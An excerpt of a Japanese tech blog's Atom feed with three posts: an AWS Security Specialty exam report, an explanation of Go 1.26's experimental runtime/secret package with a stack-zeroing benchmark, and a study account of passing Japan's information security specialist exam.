<li>KMSで暗号化したS3オブジェクトに、Lambdaがアクセスできない → S3バケットの読み取り権限に加えて、Lambda実行ロールに <code>kms:Decrypt</code> が効く状態にする必要がある。同一アカウントでキーポリシーがIAMへの委任(Enable IAM policies)を含む既定構成なら、実行ロールのIAMポリシーに <code>kms:Decrypt</code> を付与すれば足りる。キーポリシーがプリンシパルを明示列挙する運用や、キー所有者が別アカウントの場合は、キーポリシー側でも実行ロールに <code>kms:Decrypt</code> を許可する</li>
</ul>
<p>これらは、知識として知っていたというより、業務でハマった経験がそのまま回答に直結しました。過去のインシデントメモを引っ張り出しながら解いている感覚で、実務で踏んだ地雷は記録しておくものです。</p>
<h3 id="全く知らないサービスはClaudeに都度解説してもらう">全く知らないサービスはClaudeに都度解説してもらう</h3><p>一方で、これまで触れる機会がなかったサービスもいくつかありました。私の場合は、以下の3つです。</p>
<ul>
<li>AWS Signer: コードやコンテナイメージへのデジタル署名サービス(Sigstore&#x2F;cosignでの署名検証は実務で扱ってきましたが、AWSマネージドサービスとしてのSignerは触れる機会がありませんでした)</li>
<li>AWS Nitro Enclaves: 機密データ処理用の隔離されたコンピューティング環境</li>
<li>Amazon CodeGuru Security: コード脆弱性検出サービス(※2025年11月20日でサポート終了。代替としてAmazon Q Developerのコードレビュー機能などが案内されています)</li>
</ul>
<p>これらは、教材で遭遇した瞬間にClaudeに解説をお願いしました。CodeGuru SecurityがすでにEOLになっていることも、こうした壁打ちの中で判明しました。</p>
<h2 id="試験結果の振り返り">試験結果の振り返り</h2><p>総合スコアは <strong>823点 &#x2F; 1000点</strong>(合格ライン750点)、**+73点** での合格でした。セクション別の成績は以下のとおりです。</p>
<div class="scroll"><table>
<thead>
<tr>
<th>コンテンツ分野</th>
<th>出題比率</th>
<th>成績</th>
</tr>
</thead>
<tbody><tr>
<td>1. 検出</td>
<td>16%</td>
<td>コンピテンシーを満たしている</td>
</tr>
<tr>
<td>2. インシデント対応</td>
<td>14%</td>
<td>コンピテンシーを満たしている</td>
</tr>
<tr>
<td>3. インフラストラクチャのセキュリティ</td>
<td>18%</td>
<td>コンピテンシーを満たしている</td>
</tr>
<tr>
<td>4. Identity and Access Management</td>
<td>20%</td>
<td>コンピテンシーを満たしている</td>
</tr>
<tr>
<td>5. データ保護</td>
<td>18%</td>
<td><strong>改善が必要</strong></td>
</tr>
<tr>
<td>6. セキュリティ基盤とガバナンス</td>
<td>14%</td>
<td>コンピテンシーを満たしている</td>
</tr>
</tbody></table></div>
<p>「データ保護」分野が「改善が必要」となりました。正直、ここは詰めが甘かったです。KMSのキーポリシー設計、エンベロープ暗号化、ホスト間でのキー管理、各種データストアでの暗号化オプションと、設定項目の組み合わせが多い分野です。合格はしましたが、継続して勉強が必要です。</p>
<h2 id="おわりに">おわりに</h2><p>振り返ると、効いたのは次の3つでした。</p>
<ol>
<li>業務でのセキュリティ実務経験(前提となる知識・直感)</li>
<li>Claudeとの壁打ち(学習計画、未知のサービスの解説、関心領域への紐付け)</li>
<li>Udemyの演習問題集(フロー図付き解説による試験範囲のカバーと処理順序の体得)</li>
</ol>
<p>なかでも一番大きかったのは1つ目です。実務でハマった経験がそのまま得点になり、LLMと教材は、その土台の穴を埋める役割でした。特別なことはしていません。</p>
<p>AWS認定を1つでも保持していれば、再認定や次回の試験に使える50%割引バウチャーが付与されます。これを使って、次は AWS Certified Advanced Networking - Specialty (ANS-C01) に挑戦する予定です。同じSpecialtyレベルでネットワーク領域を固めて、セキュリティ × ネットワークの両軸でAWSの理解を深めていきます。</p>
<p>受かったら、また書きます。</p>
]]></content>
    <summary type="html">FutureVulsチームの棚井です。2026年5月18日に AWS Certified Security - Specialty で一発合格しました。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="AWS" scheme="https://future-architect.github.io/tags/AWS/"/>
    <category term="Claude" scheme="https://future-architect.github.io/tags/Claude/"/>
    <category term="合格記" scheme="https://future-architect.github.io/tags/%E5%90%88%E6%A0%BC%E8%A8%98/"/>
  </entry>
  <entry>
    <title>Go1.26 リリース連載 runtime/secret (experimental)</title>
    <link href="https://future-architect.github.io/articles/20260203a/"/>
    <id>https://future-architect.github.io/articles/20260203a/</id>
    <published>2026-02-02T15:00:00.000Z</published>
    <updated>2026-02-02T15:00:00.000Z</updated>
    <author><name>島ノ江励</name></author>
    <content type="html"><![CDATA[<h2 id="はじめに">はじめに</h2><p>ペンギンになりたいエンジニアの島ノ江です。</p>
<p>普段は CSIG で「FutureVuls」という脆弱性管理サービスの開発を担当しています。<br>Go1.26リリース連載 の6日目。今回は Go 1.26 で New experimental として追加される <code>runtime/secret</code> を、特にどのような議論がされてきたかについて見ていきます（リリースノート）</p>
<p>…と思っていたのですが、既に mattn さんがこのパッケージの概説と実験をされています。本機能の導入によりどのように機密情報の扱いが変わるかについてはこちらの記事をご参照ください。</p>
<p>https://zenn.dev/mattn/articles/64d85241fd3726</p>
<p>そこで、本記事では以下の内容に触れていこうと思います。</p>
<ul>
<li>前方秘匿性について</li>
<li>Go でのメモリ管理について</li>
<li>本機能が提案された背景（issue を遡って）</li>
<li>機能概要・注意事項</li>
</ul>
<h2 id="前方秘匿性について">前方秘匿性について</h2><p>現代のセキュリティプロトコルでは前方秘匿性（Forward Secrecy）は必須の要件となっています。これは、将来的に長期的な秘密鍵が漏洩したとしても、過去の通信内容が解読されないことを保証する性質を指します。もし前方秘匿性がない場合、攻撃者が過去の暗号化された通信をすべて記録していた場合に、後から秘密鍵を手に入れるとその瞬間にすべての過去ログが筒抜けになってしまいます。</p>
<p>前方秘匿性は、セッションごとに使い捨てられる Ephemeral Key（一時鍵）により支えられます。セッションが終わればこの一時鍵は破棄され、二度と復元できないことが前提となります。</p>
<img fetchpriority="high" src="/images/2026/20260203a/forwared_secrecy_banana.png" alt="forwared_secrecy_banana.png" width="1200" height="655">

<p>2014年には OpenSSL に Heartbleed 脆弱性 が見つかりました。OpenSSL のメモリ管理の不備により、サーバー上の機密情報が外部に漏洩するリスクが生じ、このころ前方秘匿性が注目されるようになりました。</p>
<p>Go のドキュメントにも、前方秘匿性について詳細を知りたい場合は Wikipedia を参照してくれと書いているので、詳細が気になる場合はこちらをご参照ください。</p>
<p>なお、TLS1.3 では前方秘匿性を持たない古い鍵交換方式が廃止され、必須の要件になっています（リンク）。</p>
<figure class="highlight text"><table><tr><td class="code"><pre><span class="line">all public-key based key exchange mechanisms now provide forward secrecy.</span><br></pre></td></tr></table></figure>

<p>しかし、これを実装する場合に、次のような問題が生じます。「プロトコル上で鍵を破棄しても、サーバーのメモリ上にその残骸が残っていたら、そこから漏洩してしまうのでは？」という問題です。</p>
<p>理論上は使い捨てでも、実装上メモリに一時的に保管されるデータが残存していては、それは「一時的」な秘密鍵にはなりません。もし攻撃者がメモリリークやコアダンプにより残存データを吸い上げられたら、そもそも前方秘匿性の前提が崩れてしまいます。</p>
<p>今回の <code>runtime/secret</code> では、この「物理メモリ上に一時的な情報を即時消去することを、Go のランタイムレベルで保証する」という機能です。</p>
<p>ところで、暗号の話で出てくる鍵共有アルゴリズムに <strong>DHE</strong> がありますが、このうちの <strong>E</strong> は Ephemeral なんですよね。RFC 7919 にも「Diffie-Hellman Ephemeral（DHE）鍵交換」として説明されています。私は最初 Hellman か Key Exchange の <strong>E</strong> だと思い込んでいました。DHE については過去の HTTPS に関するブログも参考になれば幸いです。</p>
<h2 id="メモリ管理について">メモリ管理について</h2><p>C++ や Rust のような言語では、開発者がメモリのライフサイクルを完全に掌握します。秘密鍵などの機密情報を使い終えたら、<code>explicit_bzero</code> や <code>memset_s</code> といった関数を呼び出すことで、<strong>コンパイラの最適化によって消されることなく</strong>即座にメモリを物理的にゼロ埋めできます。</p>
<p>一方で、Go のような GC を採用している言語では、このメモリ管理が抽象化されているため、以下の観点からメモリを即座にゼロ埋めすることが簡単にはいきません。</p>
<ul>
<li>コンパイラの最適化：手動でゼロ埋めするコードを書いても、コンパイラがその処理を無視する場合がある</li>
<li>GC によるコピー：Go のランタイムがスタックの拡張などの過程でメモリの中身を別の場所にコピーすることがあり、元の場所にデータ残存のリスクがある</li>
</ul>
<p>そこで、WireGuard の実装では issue コメントにあるような形で、”<strong>Unholy Hacks</strong>“ な方法でゼロクリアをしようとしています（コメント）。このような工夫をせずに、言語仕様としてこのゼロ埋めを実行して、前方秘匿性を担保できるようにしたいことから issue に繋がっています。</p>
<p>ちなみに、Go の GC については先日棚井さんが記事を書いていたので、そちらもよろしければどうぞ。</p>
<p>https://future-architect.github.io/articles/20260130a/</p>
<h2 id="issueの流れ">issueの流れ</h2><p>本機能に関する issue は 2017年9月まで遡ります。</p>
<p>実装までに8年以上を要しており、導入にとても慎重だったことがうかがえます。</p>
<p>https://github.com/golang/go/issues/21865</p>
<p>本機能は、セキュリティエンジニアの Jason A. Donenfeld 氏（WireGuardの開発者）からのセキュリティの観点での主張と、Go のコアチームからの言語としての整合性の観点が対立していたためです。</p>
<p>例えば、以下のような観点が議論されていました。</p>
<h3 id="GC-によるコピーの残存">GC によるコピーの残存</h3><p>メモリ効率のために、ランタイムがデータを移動させる場合があります。</p>
<p>例えば、スタックが足りなくなった場合に、新しいメモリ領域を確保して中身をコピーします。この場合、古いスタック領域にはデータのコピーが残ってしまいます。また、ライブラリの中で <code>Clear()</code> をして今のメモリデータを消去しても、ランタイムが勝手に作ったコピーが残っている可能性はありえます（コメント）。さらに OS レイヤーでの話として、OS の割り込み処理が起きると CPU のレジスタにある機密情報はシグナルスタックに書き込まれますが、これの消去が難しいとも書かれています（コメント）。</p>
<p>「開発者は機密データを消したつもりだが、実際にはメモリ上にデータが残っている可能性がある」という “<strong>false sense of security</strong>“ に繋がりかねない点が懸念として提示されています。</p>
<p>最終的にこの課題は Daniel Morsing 氏の案で解決されました（コメント）。具体的には、「特定の実行スコープ（関数実行）に限定してクリーンアップを保証する」という現実的なアプローチが採用されたことで、8年にわたる議論が収束に向かいました（詳しくは mattn さんのブログにて）。</p>
<h2 id="機能概要">機能概要</h2><p><code>runtime/secret</code> の機能は <code>GOEXPERIMENT=runtimesecret</code> の環境変数を設定することで利用できるようになります。<br>この中身はシンプルで、<code>func Do(f func())</code> と <code>func Enabled() bool</code> が定義されているだけです。</p>
<p>https://pkg.go.dev/runtime/secret</p>
<p><code>Do</code> は、引数でとる関数 <code>f</code> の中で利用される一時的な記憶領域を確実に消去することを保証します。<br>また、<code>Enabled</code> は現在の実行コンテキストが Do の呼び出しスタック内にあるかを返します。</p>
<p>詳しくは、以下のような事項が保証されるようになります。</p>
<ul>
<li><code>f</code> によって使用されるレジスタとスタックは、<code>Do</code> が返る前に消去される</li>
<li><code>f</code> によって行われたヒープメモリは、割り当てられたすべての値に到達できなくなったことを GC が認識するとすぐに消去される（<strong>注意：即時ではない</strong>）</li>
<li><code>Do</code> は <code>f</code> がパニックを起こしたり <code>runtime.Goexit</code> を呼び出したりした場合でも動作する（<code>f</code> で発生したパニックは <code>Do</code> 自体から発生したかのように表示される）</li>
</ul>
<h2 id="注意事項">注意事項</h2><p>本機能はまだ実験的に導入されているものであり、注意が必要な点もあります。</p>
<h3 id="ヒープ割り当ては即時で消去されない">ヒープ割り当ては即時で消去されない</h3><p>前述のように、<code>runtime/secret</code> ではスタックとレジスタの即時消去を保証しています。一方で、<code>new</code> や <code>make</code> などで確保されるヒープ割り当てについては、GC が回収するまでは消去されません。</p>
<p>ランタイムが「GC が到達不能と判断した時点で消去」しますが、あくまで次の GC サイクルまでは情報が保持されます。そのため、機密情報を扱う場合、<code>make([]byte, n)</code> のようなヒープを使った方法ではなく、可能な限り <code>[32]byte</code> など固定長の配列を利用してスタックのまま留めるなど、注意を払う必要があります。</p>
<h3 id="サポート対象">サポート対象</h3><p>Go 1.26 では、linux&#x2F;amd64 と linux&#x2F;arm64 でのみサポートしています。</p>
<p>本機能は、単にメモリを書き換えるだけではなく、CPU レジスタの消去やランタイムによるスタックフレームの制御などが必要になります。これらはアーキテクチャごとに異なり、レジスタに残った機密情報を確実に消し去る場合、それぞれの CPU 命令セットに合わせてアセンブリレベルで実装しなければなりません。</p>
<p>また、レジスタの内容が OS にどう保存されるかは、OS のカーネルに依存します。これらの理由から、現時点では一部のアーキテクチャにのみ対応しています。</p>
<p>なお、サポートされていないプラットフォームでは、<code>Do</code> は単に <code>f</code> のラッパーになるだけで、保護機能は働きません（このような場合にコンパイルエラーにならないでちゃんと動作してくれるのは、互換性を保っていてすごいなと個人的に関心してます）。</p>
<p><code>Enabled()</code> を使うと、保護機能が有効化どうかを実行時に判定できます。</p>
<figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> secret.Enabled() &#123;</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="パフォーマンス上の影響">パフォーマンス上の影響</h3><p>スタックのゼロクリアにはコストがかかるため、少しパフォーマンスが悪くなります。<br>例えば、以下のようなコードで検証してみます。</p>
<figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">	<span class="string">&quot;runtime/secret&quot;</span></span><br><span class="line">	<span class="string">&quot;testing&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> globalSink <span class="type">byte</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//go:noinline</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">consume</span><span class="params">(b []<span class="type">byte</span>)</span></span> &#123;</span><br><span class="line">	globalSink = b[<span class="number">0</span>]</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//go:noinline</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">useStack1KB</span><span class="params">()</span></span> &#123; <span class="keyword">var</span> d [<span class="number">1024</span>]<span class="type">byte</span>; consume(d[:]) &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//go:noinline</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">useStack64KB</span><span class="params">()</span></span> &#123; <span class="keyword">var</span> d [<span class="number">64</span> * <span class="number">1024</span>]<span class="type">byte</span>; consume(d[:]) &#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">BenchmarkSecret</span><span class="params">(b *testing.B)</span></span> &#123;</span><br><span class="line">	tests := []<span class="keyword">struct</span> &#123;</span><br><span class="line">		name <span class="type">string</span></span><br><span class="line">		fn   <span class="function"><span class="keyword">func</span><span class="params">()</span></span></span><br><span class="line">	&#125;&#123;</span><br><span class="line">		&#123;<span class="string">&quot;1KB&quot;</span>, useStack1KB&#125;,</span><br><span class="line">		&#123;<span class="string">&quot;64KB&quot;</span>, useStack64KB&#125;,</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">for</span> _, tc := <span class="keyword">range</span> tests &#123;</span><br><span class="line">		b.Run(tc.name, <span class="function"><span class="keyword">func</span><span class="params">(b *testing.B)</span></span> &#123;</span><br><span class="line">			<span class="comment">// 通常のスタック利用</span></span><br><span class="line">			b.Run(<span class="string">&quot;Normal&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(b *testing.B)</span></span> &#123;</span><br><span class="line">				<span class="keyword">for</span> i := <span class="number">0</span>; i &lt; b.N; i++ &#123;</span><br><span class="line">					tc.fn()</span><br><span class="line">				&#125;</span><br><span class="line">			&#125;)</span><br><span class="line">			<span class="comment">// runtime/secret の利用</span></span><br><span class="line">			b.Run(<span class="string">&quot;Secret&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(b *testing.B)</span></span> &#123;</span><br><span class="line">				<span class="keyword">for</span> i := <span class="number">0</span>; i &lt; b.N; i++ &#123;</span><br><span class="line">					secret.Do(tc.fn)</span><br><span class="line">				&#125;</span><br><span class="line">			&#125;)</span><br><span class="line">		&#125;)</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>結果は以下の通りです。 <code>runtime/secret</code> を利用している場合（Secret）は、利用しない場合(Normal)に比べて3倍程度実行速度が異なっていることがわかります。<br>Secret の中では、同じ領域に対して消去時を含めて2回書き込みをしているため、パフォーマンスに差が出てきます。しかし、暗号計算全体のコストに比べると小さな時間であり、それほど大きな影響はないでしょう。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">GOEXPERIMENT=runtimesecret go1.26rc2 <span class="built_in">test</span> -bench . -benchmem</span></span><br><span class="line">goos: linux</span><br><span class="line">goarch: amd64</span><br><span class="line">pkg: test</span><br><span class="line">cpu: Intel(R) Core(TM) Ultra 5 135U</span><br><span class="line">BenchmarkSecret/1KB/Normal-14   61368109                17.97 ns/op            0 B/op          0 allocs/op</span><br><span class="line">BenchmarkSecret/1KB/Secret-14   25097634                46.99 ns/op            0 B/op          0 allocs/op</span><br><span class="line">BenchmarkSecret/64KB/Normal-14   1212750               979.4 ns/op             0 B/op          0 allocs/op</span><br><span class="line">BenchmarkSecret/64KB/Secret-14    374982              2986 ns/op               0 B/op          0 allocs/op</span><br><span class="line">PASS</span><br><span class="line">ok      test    5.709s</span><br></pre></td></tr></table></figure>

<h2 id="さいごに">さいごに</h2><p><code>runtime/secret</code> パッケージが導入されたことで、これまで Go のコミュニティが工夫して対応してきたメモリ上の情報管理を、ランタイムレベルでサポートするようになりました。暗号の安全な利用が可能になってくると、クリティカルなシステムインフラなどでも Go を採用していくケースが増えていくのでしょうか。</p>
<p>また、今後は Mac や Windows などその他のプラットフォームや、<code>crypto/tls</code> などの標準ライブラリ内部での <code>runtime/secret</code> の採用など、対応範囲の拡大も期待できます。</p>
<p>本機能は（暗号系の実装をしているわけではないため）、普段の開発には直接影響しなさそうです。しかし、言語レベルでの機能導入により、我々が意識しなくても前方秘匿性が担保され、全体でセキュリティレベルが向上していくのは喜ばしいですね。</p>
<p>以上で本記事を終えようと思います。ありがとうございました。</p>
]]></content>
    <summary type="html">Go 1.26 で New experimental として追加されるruntime/secretを、特にどのような議論がされてきたかについて見ていきます...と思っていたのですが、既に mattn さんがこのパッケージの概説と実験をされています。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="Go" scheme="https://future-architect.github.io/tags/Go/"/>
    <category term="Go1.26" scheme="https://future-architect.github.io/tags/Go1-26/"/>
  </entry>
  <entry>
    <title>情報処理安全確保支援士試験に合格しました</title>
    <link href="https://future-architect.github.io/articles/20251110a/"/>
    <id>https://future-architect.github.io/articles/20251110a/</id>
    <published>2025-11-09T15:00:00.000Z</published>
    <updated>2025-11-09T15:00:00.000Z</updated>
    <author><name>棚井龍之介</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2025/20251110a/image.png" alt="" width="300" height="342">

<h2 id="はじめに">はじめに</h2><p>こんにちは。フューチャー株式会社の CSIG というセキュリティ系の部署へ、エンジニアとして復職しました 棚井 です。</p>
<p>半年ほどの英語留学から帰宅したら、IPA（独立行政法人 情報処理推進）から茶封筒が届いていました。開封したところ、なんと「情報処理安全確保支援士試験」の合格通知が入っていました。せっかくなので、現時点から思い出せる範囲で、私が勉強した内容や、忙しい業務や留学準備の合間でどのようにモチベーションを維持したのかをご紹介していきます。</p>
<img src="/images/2025/20251110a/image_2.png" alt="image.png" width="1200" height="176" loading="lazy">

<h2 id="受験理由">受験理由</h2><p>資格内容については、IPA さんが YouTube にて以下の動画を公開されています。</p>
<ul>
<li>国家資格「情報処理安全確保支援士」制度の仕組みについて</li>
</ul>
<p>動画を見なくても「セキスペ」という名前を聞けば、大抵の読者皆様は「あー、IPA 資格試験で、基礎・応用の次に色々あるやつの、セキュリティのやつね」というイメージだと思いますし、私もおおよそ同じような認識でいました。</p>
<p>そんな中、それまでに参加させていただいたサイバーセキュリティ関連でのオンライン・オフラインイベントで様々な意見に触れる中で、この資格取得（情報処理安全確保支援士への新規登録・更新）が、1つの <strong>入場チケット</strong> だなと感じました。もちろん、この資格を持っているからといって、何か特殊技能の証明になるわけではありませんし、「ドメスティックな登録セキスペよりも、グローバルに通用する CISSP や CEH の方が実力の証明になってオススメ」という投稿も度々見聞きしました。しかしながら、この資格ホルダーであれば「<strong>サイバーセキュリティ関連での議論において、共通の土台を一定程度は身につけていること</strong>」を対外的に証明できると思い、試験合格に向けた勉強を始めました。</p>
<p>また、セキスペの新規登録料と講習料を合わせると、スタート地点で 16万円 程度（さらに、3年ごとの更新料負荷がプラス。もちろん、受験料の 7,500円も）かかってしまうのですが、部署内での業務関連資格の取得推奨に合わせた <strong>資格関連の一部経費負担</strong> がスタートしましたので、この機会に乗っかりました。</p>
<p>以下、私が受験した「令和7年度春期」では、合格率は 19.0%（3,134 &#x2F; 16,526 &#x3D; 0.1896…）と掲載されていました。過去数値としても 20%台を推移（参照: 情報処理安全確保支援士ドットコム）しているため、試験突破にはある程度の時間投下（&#x3D;トレードオフとして、何かを諦めること or 優先順位を変えること）が必要な試験だなとも思いました。</p>
<img src="/images/2025/20251110a/image_3.png" alt="image.png" width="1200" height="191" loading="lazy">

<ul>
<li>令和7年度春期情報処理技術者試験（応用情報技術者試験、高度試験）及び情報処理安全確保支援士試験の合格発表について</li>
</ul>
<p>また、今回（令和7年度春期）の試験内容を思い出すにあたり、以下の記事がとても参考になりました。</p>
<ul>
<li>25&#x2F;7&#x2F;6 情報処理安全確保支援士（旧セキスペ）合格体験記　IPAの一次情報を熟読しろ！！！</li>
</ul>
<h2 id="筆者ステータス">筆者ステータス</h2><ul>
<li>社会人歴: 6年<ul>
<li>Webサービス開発のエンジニア歴: 4年<ul>
<li>キャリア全体として、バックエンド実装とインフラ運用保守が主な守備領域です</li>
<li>フロントはコーディングというよりも、認証認可絡みのトラシュー機会が多数ありました</li>
</ul>
</li>
</ul>
</li>
<li>勉強期間: 約3ヶ月<ul>
<li>セキスペの勉強時間<ul>
<li>平日: 2時間</li>
<li>土日祝: 8時間</li>
</ul>
</li>
</ul>
</li>
<li>その他<ul>
<li>午前Ⅰ免除</li>
</ul>
</li>
</ul>
<p>上記は、私が試験対策を始めた時点でのざっくりとした開発バックグラウンド、及び、投下した勉強時間です。エンジニア歴から分かるように、Web サービス開発で求められるセキュリティ知識や各種仕様については一通り理解しているアドバンテージの上で、試験勉強を始めました。このため、学習リソース（対策本や過去問の解説）が難しくて消化不良を起こすことはありませんでした。むしろ、資格試験の学習を通じて、フレームワークやライブラリに任せっきりであった通信仕様や、認証認可プロセスでのトークン交換仕様などを、セキュリティ関連の知識と紐付けながら再整理する機会になりました。使い古された表現にはなりますが「知識の体系的な獲得・整理」には、資格試験勉強は有効だなと改めて実感しました。</p>
<h2 id="学習リソース">学習リソース</h2><p>以下の書籍とネット情報を参照しました。</p>
<div class="scroll"><table>
<thead>
<tr>
<th>媒体</th>
<th>タイトル</th>
</tr>
</thead>
<tbody><tr>
<td>ネット</td>
<td>情報処理確保支援士ドットコムの「おすすめ参考書・問題集」</td>
</tr>
<tr>
<td>ネット</td>
<td>IPAの「重要なセキュリティ情報」</td>
</tr>
<tr>
<td>本</td>
<td>情報処理教科書 高度試験午前Ⅰ・Ⅱ 2025年版</td>
</tr>
<tr>
<td>本</td>
<td>情報処理教科書 情報処理安全確保支援士 2025年版</td>
</tr>
<tr>
<td>本</td>
<td>2025　情報処理安全確保支援士「専門知識+午後問題」の重点対策</td>
</tr>
<tr>
<td>本</td>
<td>勝ち残りSEへの分岐点</td>
</tr>
</tbody></table></div>
<img src="/images/2025/20251110a/平積みされた書籍.jpeg" alt="平積みされた書籍" width="600" height="450" loading="lazy">

<h3 id="情報処理確保支援士ドットコム">情報処理確保支援士ドットコム</h3><ul>
<li>情報処理確保支援士ドットコム</li>
</ul>
<p>セキスペに限らず、IPA 試験対策のとっかかりとして、このサイトの情報を入り口とされる方が多いと思います。私は「おすすめ参考書・問題集」の記載されたページをスマホ片手に、リアル書店で読み比べしながら購入テキスト（「情報処理教科書 情報処理安全確保支援士 2025年版」と「2025　情報処理安全確保支援士「専門知識+午後問題」の重点対策 」）を決めました。正直なところ、一番面白かったのは「関連技術をさらに知るための副読本」の書籍でしたが、こちらにリソースを割くとメインの目的を外してしまいそうな予感がしたため立ち読みで我慢しました。</p>
<h3 id="IPAの「重要なセキュリティ情報」">IPAの「重要なセキュリティ情報」</h3><ul>
<li>重要なセキュリティ情報</li>
</ul>
<p>試験では過去問やテキストでは対策しにくい「時事問題」ネタが多数出題されるため、この部分は IPA が発信する情報を毎日チェックすることで知識補強しました。まずは一読して、続いて ChatGPT や Gemini に解説と関連情報の収集をお願いする流れです。ただし、ここの対策はあまりにも膨大で「終わりが無い」ため、いやこれは新着情報を追い続けるのはなかなか大変だなと思った矢先、だからこそ当社提供の <strong>FutureVuls</strong> を中心とした脆弱性管理サービスがあるのだなと自己解決しました。</p>
<h3 id="情報処理教科書-高度試験午前Ⅰ・Ⅱ">情報処理教科書 高度試験午前Ⅰ・Ⅱ</h3><ul>
<li>2025年版</li>
</ul>
<img src="/images/2025/20251110a/参考書.jpeg" alt="参考書" width="400" height="567" loading="lazy">

<p>午前試験対策は「過去問道場」を周回するのが王道です。ただし、私は可能な限り午後対策を優先したかったため、あえて問題総数の少ない紙媒体を選びました。セキスペにて高確率で出題される Chapter 03 技術要素「ネットワーク」と「セキュリティ」だけに絞って、正答だけでなく誤答も含めて「根拠と理由」を言葉にできる状態にまで周回しました。各選択肢の解説が詳しいのも押しポイントです。</p>
<h3 id="情報処理教科書-情報処理安全確保支援士">情報処理教科書 情報処理安全確保支援士</h3><ul>
<li>2025年版</li>
</ul>
<img src="/images/2025/20251110a/参考書_2.jpeg" alt="参考書" width="400" height="567" loading="lazy">

<p>「ダウンロード可能な過去問と解説の量」でこの参考書に決めました。次に紹介する「重点対策」では、各トピックごとに「〇〇年春&#x2F;秋の、××試験の、大問△△の…」というレベルで記載されているので、それに対応可能な過去問+解説欲しさ（それと、Amazon のランキング情報）で選びました。</p>
<p>本書自体の利用方法としては、過去問を解く中で「明確な知識の穴」を感じた場合、つまり「この領域の内容、何にも分からなくて、もう問題を解くってレベルじゃねえぞ」の時です。そのときは辞書的にトピック単位で通読しました。</p>
<h3 id="情報処理安全確保支援士「専門知識-午後問題」の重点対策">情報処理安全確保支援士「専門知識+午後問題」の重点対策</h3><ul>
<li>2025版</li>
</ul>
<img src="/images/2025/20251110a/参考書_3.jpeg" alt="参考書" width="400" height="567" loading="lazy">

<p>私のセキスペ試験対策は、この対策本を中心にして進めました。本書は1,2,3部で構成されており、それぞれの内容は以下の通りです。</p>
<ul>
<li>第1部: 本書の使い方</li>
<li>第2部: 午前問題のテーマ別対策と必要知識, セキュリティ基礎知識の確認</li>
<li>第3部: 午後問題のテーマ別対策と必要知識</li>
</ul>
<p>まずは、第1部第2章「情報処理安全確保支援士試験の対策」を読み込んで、試験自体の特徴（学習の重心は何に置くべきか）と問題の解き方（プロ目線での試験突破ノウハウ）を、まずは知識として理解しました。こういうナレッジは「具体的なプロセスの中で意識的に適応すること」で血肉になるものなので、初手は理論としてインプットです。</p>
<p>続いて、第2部最終ページの「暗記事項」を全て暗記しました。2025年版の p.148 ~ p.155 には「問題 + 解答」のリストが多数掲載されているので、問題を見た瞬間に（ほぼ）反射で解答できるところまで脳内に記憶しました。例えば、「情報セキュリティの概念」の「三大要素」という問題があれば、即座に「①情報資産 ②脅威 ③脆弱性」と口頭（または脳内）でアウトプットできるまでに仕上げました。書籍筆者は、セキスペ対策には「<strong>知識の絶対量を増やすこと</strong>」が試験対策の中心になると主張されており、試験の「対策過程（勉強過程）」を振り返ると、私も全面的に賛成します。英文解釈と同じで、文章内に分からない単語が1つあったとしても「文脈」で類推可能なことが多いですが、例えば、たった1つの文に知らない単語が複数あると、途端に理解不能となるあのイメージです。ただし、暗記一辺倒という訳ではありませんので、詳細は書籍の記載内容をご確認ください。</p>
<p>第3部以降の内容が、本格的な午後試験対策の始まりです。各トピック（ex. 認証とアクセスコントロール, KPI, サーバセキュリティ）ごとに、以下の「学習方法」が掲載されています。</p>
<ul>
<li>①前提知識の確認</li>
<li>②本章の知識の確認</li>
<li>③FE,APの過去問題・解答例・採点講評を読んで理解を深める</li>
<li>④SCの過去問題・解答例・採点講評を読んで理解を深める</li>
<li>⑤章末の演習問題で確認</li>
<li>⑥必要事項の暗記+午前問題</li>
</ul>
<p>このうち、私は①~⑤を書籍の指示通りに進めていきました。</p>
<p>1周目の時点では何かしらのメモを残しておき、2周目以降での優先順位付けとして利用しました。</p>
<img src="/images/2025/20251110a/メモを記入.png" alt="メモを記入" width="500" height="369" loading="lazy">

<h3 id="（番外編）勝ち残りSEへの分岐点">（番外編）勝ち残りSEへの分岐点</h3><ul>
<li>勝ち残りSEへの分岐点, 三好康之</li>
</ul>
<img src="/images/2025/20251110a/書影.jpeg" alt="書影" width="400" height="582" loading="lazy">

<p>重点対策本の第1章終盤のコラムページに「丸暗記は善か？悪か？」から始まるページがあります。この記載内容に大きく刺激を受けまして、この観点を深掘りしたブログか何かがないかなと探したところ、まさにの本書を見つけました。</p>
<p>ここまでにご紹介した本とは打って変わって、こちらの書籍自体はセキスペの対策本ではありません。ただし、重点対策本と同じ筆者の「三好康之さん」により執筆されています。現時点で振り返ると、セキスペに合格したことよりも、その勉強を通じて本書に出会い、筆者の考え方を吸収できたことの方が、将来的な利子は大きくなりそうな予感がしています。</p>
<p>どんな領域であっても「基礎が大事」というのは否定されませんが、その続きで「基礎って、具体的に何？どういう状態のことを指すの？」という質問に対して、1つの解答が提示されています。個人的には、以下のやり取りが最も記憶に残りました。</p>
<blockquote>
